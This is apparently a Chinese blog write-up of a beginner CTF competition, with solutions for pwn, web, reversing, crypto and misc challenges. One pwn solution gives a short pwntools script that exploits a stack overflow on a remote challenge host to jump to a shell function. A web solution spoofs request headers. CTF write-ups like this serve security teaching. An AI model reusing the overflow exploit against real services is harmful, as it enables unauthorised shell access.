武汉科技大学五一萌新向CTF writup

none

咕鸽框架 更新2020年05月22日 142 10677字 CID:P13

PWN

just_run

简单的签到题, 将题目拖进IDA后发现直接给了shell, 直接cat即可.
flag{294dbf32-54ea-4c2f-a0d3-e3221df75913}

在这里插入图片描述

在这里插入图片描述

2048

将题目拖入IDA进行分析, 发现可溢出位置read

在这里插入图片描述

懒得静态分析, 直接使用gdb构造字符串看看溢出成什么样子吧, 使用pattern_create 200构造出200长度的字符串

AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

直接进行运行. 等等等怎么直接过了? 算了过了就过了, 直接拿到flagflag{a1cbd38a-d468-440d-b623-6214aad97f68}

在这里插入图片描述

joke

话不多说直接上IDA进行分析, 虽然IDA分析出错, 但是可以发现唯一注入点只有input, 后面不再有输入的可能

在这里插入图片描述

随后在函数列表中发现mistake函数, 返回了shell, 很明显, 要使EIP/RIP指向mistake.

既然是溢出, 那为什么不直接试试, 直接上gdb神器, 构造200长度的字符串, 输入执行, 程序随后报错, 看到在ret命令下停止

百度查询ret, 描述为, 可理解为pop IP

RET是子程序的返回指令, 执行本指令时:sp增加一个内存单元, 栈顶数据出栈赋值给ip寄存器
(SP)->PCH,然后(SP)-1->SP
(SP)->PCL,然后(SP)-1->SP
最终使sp-2

大意为相当于命令pop IP, 我们便可以通过修改栈顶使得pop出mistake的地址完成跳转
首先查看寄存器ESP的值

在这里插入图片描述

检查其偏移量pattern_offset AcAA2AAHAAdAA3AAIAAeAA456

在这里插入图片描述

查看mistake函数地址disas mistake0x000000000040089c
于是构造56个占位符, 随后插入目标地址0x000000000040089c, 编写Python脚本
在这里插入图片描述

from pwn import *
conn = remote('121.41.113.245', 10001)
conn.sendline('A' * 56 + p64(0x000000000040089c))
conn.interactive()
conn.close()

在这里插入图片描述
得到flagflag{3ae15963-fd5c-464c-ba30-299cc5a4e481}

Web

签到题

根据题目显示一步步构造表单即可
源自百度构造Refererhttps://www.baidu.com
本地访问构造Client-ip127.0.0.1
得到flag为flag{welc0me_t0_WEB_s3cur1ty}

在这里插入图片描述

RE

ez_py

下载下来为pyc文件, 直接丢去pyc在线反编译

在这里插入图片描述

def encode(message):
    flag = ''
    for i in message:
        x = ord(i) ^ 16
        x = x + 5
        flag += chr(x)

    return flag


message = 'qwLrfD;`JU`~"JY>pOJ_;J,OOJZypJw<ypJZqJ.;Oph'
print(encode(message))

>>> flag{Y0u_Jus7_N3ed_T0_Add_One_l1ne_Of_C0de}

baby_re

这题虽然是基础, 但是君IDA本当下脚, 还是折腾了一段时间才出来
查看主逻辑, 发现最重要的应该是check函数

在这里插入图片描述

进入check后, 发现是对输入的内容进行了变化, 随后和储存的flag进行比较, 说明flag应该为加密后的字符串, 进入flag进行检查

在这里插入图片描述

在这里插入图片描述

可知flag为int[]类型, 其中int类型在计算机中为4字节, 且为小端储存, 尝试构造固定头flag{

data = "flag{"

for i in data:
   a = 8 * ord(i)
   a += 16
   a ^= 0x10
   print(hex(a), end=" ")
>>> 0x350 0x360 0x308 0x358 0x3f8 

便从大到小组合

hexs = [0x350, 0x360, 0x308, 0x358, 0x3f8, 0x2b0, 0x328, 0x318, 0x188, 0x1a8,
        0x318, 0x2b8, 0x180, 0x398, 0x398, 0x398, 0x398, 0x398, 0x398, 0x398,
        0x398, 0x398, 0x318, 0x2b8, 0x348, 0x368, 0x380, 0x360, 0x328, 0x3e8]

for i in hexs:
    a = i ^ 0x10
    a -= 16
    a /= 8
    print(chr(int(a)), end="")
>>> flag{Re_15_S0ooooooooo_Simple}

CRYPTO

base64

下载下来为一个压缩包, 其中一个有密码, 另一个为一个base64编码过的图片, 使用工具解码base64
站长工具

在这里插入图片描述

得到密码WAIS, 以这个为密码解密压缩包得到字符串ZmxhZ3sxc19teV9wNHNzd29yZF90MG9fNWltcGxlXz99
拉去base64一下得到flag{1s_my_p4ssword_t0o_5imple_?}

兔老大

打开后得到一个图片和一个txt, 发现包含内容U2FsdGVkX19+EusfRjwm+09ipD4H/UegyaD8uh4kzJ9PtFqfyJqmrc3zYKliJ1WpfWjmGmzSl5s=
看到后面=首先怀疑Base64, 拿去解一下

在这里插入图片描述

解码为乱码, 但是有部分出来了, 百度查询固定地方得到为rabbit加密, 但是缺少密钥, 根据文本--rab...忘记英语怎么拼了猜测密钥为rabbit, 解码后得到MZWGCZ33KJQWEYRRORPTC427OY2HE6K7MN2XIND5拿去base32一下, 成功
flag{Rabb1t_1s_v4ry_cut4}

easy_caesar

密文内容]p{k]|X6TmI3MWL6f4<J\Zv}[3QkP6Qkfo<GP[Er][LoQ3T@
明显扩展了ascii表, 查看最高和最低分别为0}, 构造字母表0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}`
在解密网站ROT Cipher可以直接拿到结果

在这里插入图片描述

对结果base64解码得到flag{1t's_Fak3_Ca3sar_C1pher}

MISC

Where_am_I

在这里插入图片描述
可知第一个颜色RGB为40, 41, 21, 第二个颜色RGB为74, 2, 40
在这里插入图片描述

带入坐标

在这里插入图片描述

在这里插入图片描述

可以定位到自由女神像, 那么flag为flag{statue_of_liberty}
顺带一提, 我之前还试了
flag{statue_of_liberty_national_mountain}
flag{statue_of_liberty_park}
flag{fort_wood}
flag{liberty_island}
flag{new_york}

因为statue_of_liberty不缩放大不显示, 真是日了Ash3n_On3

古老的计算机

本题给了一张图片, 用winhex打开, 发现最后附加了大量内容

在这里插入图片描述

有4和2两种组合, 将此数据导出进行解析

data = "\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20"

count = 0
for i in data:
   if i == '\x20':
       print(0 if count == 2 else 1, end="")
       count = 0
   else:
       count += 1

最后二进制转字符串

在这里插入图片描述

flag{1t_1s_s0_4asy}

double_flag

本题提供一个压缩文件, 但是打开压缩文件损坏, 使用winhex打开, 发现缺少文件头, 补上504B0304
成功解压文件, 仔细看发现第二张图片有乱码, 使用winhex查看
随便扫了一眼, 发现在1024处有一个flag, 而源文件没有

在这里插入图片描述

使用Beyound_compaire对比发现部分字节不同

在这里插入图片描述

在这里插入图片描述

将不同的地方进行组合得到flag. 太伤眼了就不整了...

彩蛋

终极彩蛋

专业签到, 换行符和光标出卖了你

在这里插入图片描述

全选改色即可看到
在这里插入图片描述

版权声明:
本文基于《署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)》许可协议授权
文章链接:http://blog.z31.xyz/index.php/archives/13/ (转载时请注明本文出处及文章链接)

评论